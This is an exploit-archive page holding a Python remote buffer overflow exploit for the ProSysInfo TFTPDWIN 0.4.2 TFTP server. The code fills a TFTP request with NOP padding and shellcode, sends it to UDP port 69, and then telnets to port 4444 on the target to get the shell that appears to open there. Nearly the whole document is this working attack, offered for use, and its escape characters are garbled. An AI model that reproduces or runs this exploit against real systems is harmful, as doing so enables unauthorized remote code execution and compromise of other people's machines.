[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ProSysInfo TFTP Server TFTPDWIN 0.4.2 Remote BOF Exploit
# Published : 2009-08-18
# Author : Wraith
# Previous Title : ZTE ZXDSL 831 II Modem Arbitrary Add Admin User Vulnerability
# Next Title : ZTE ZXDSL 831 II Modem Arbitrary Configuration Access Vulnerability


#!/usr/bin/python

#ProSysInfo TFTP Server TFTPDWIN 0.4.2
#Coded by Wraith

import os
import sys
import struct
import socket
import time


print "nProSysInfo TFTP Server TFTPDWIN 0.4.2"
print "Note: This vuln is sensitive to different buffer lengthn"
 
if len(sys.argv)!=2:
        print "Usage: tftpdwin.py <ip>"
        sys.exit(0)


	
buffer = "x00x01x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
buffer += "x8bxc3x66x05x12x01x50xc3" + "x90"*57

buffer += "x59x81xc9xd3x62x30x20x41x43x4dx64"
buffer += "x64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1C"
buffer += "x8Bx09x8Bx69x08xB6x03x2BxE2x66xBAx33x32x52x68x77"
buffer += "x73x32x5Fx54xACx3CxD3x75x06x95xFFx57xF4x95x57x60"
buffer += "x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFF"
buffer += "x47x8Bx34xBBx03xF5x99xACx34x71x2AxD0x3Cx71x75xF7"
buffer += "x3Ax54x24x1Cx75xEAx8Bx59x24x03xDDx66x8Bx3Cx7Bx8B"
buffer += "x59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75xB4"
buffer += "x5Ex54x6Ax02xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3"
buffer += "xABx40x50x40x50xADxFFxD0x95xB8x02xFFx11x5cx32xE4"
buffer += "x50x54x55xADxFFxD0x85xC0x74xF8xFEx44x24x2DxFEx44"
buffer += "x24x2cx83xEFx6CxABxABxABx58x54x54x50x50x50x54x50"
buffer += "x50x56x50xFFx56xE4xFFx56xE8x90x90x90x90x90x90x90"
buffer += "x42xfbx61x40x00x6ex65x74x61x73x63x69x69x00"


target = sys.argv[1]
def Connect(target):
	connect = "telnet " + target + " 4444"
	os.system(connect)
	
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
	s.sendto(buffer, (target,69))
	print "[*] Initiating Buffer Overflow"
	time.sleep(2)
	print "[*] Attempting Connection to Remote Host"
	time.sleep(2)
	print "[*] Please Wait...n"
	time.sleep(3)
	Connect(target)
	print "nClosing Remote Connectionn"
	sys.exit(0)
except:
	print "Goodbyen"	

# www.Syue.com [2009-08-18]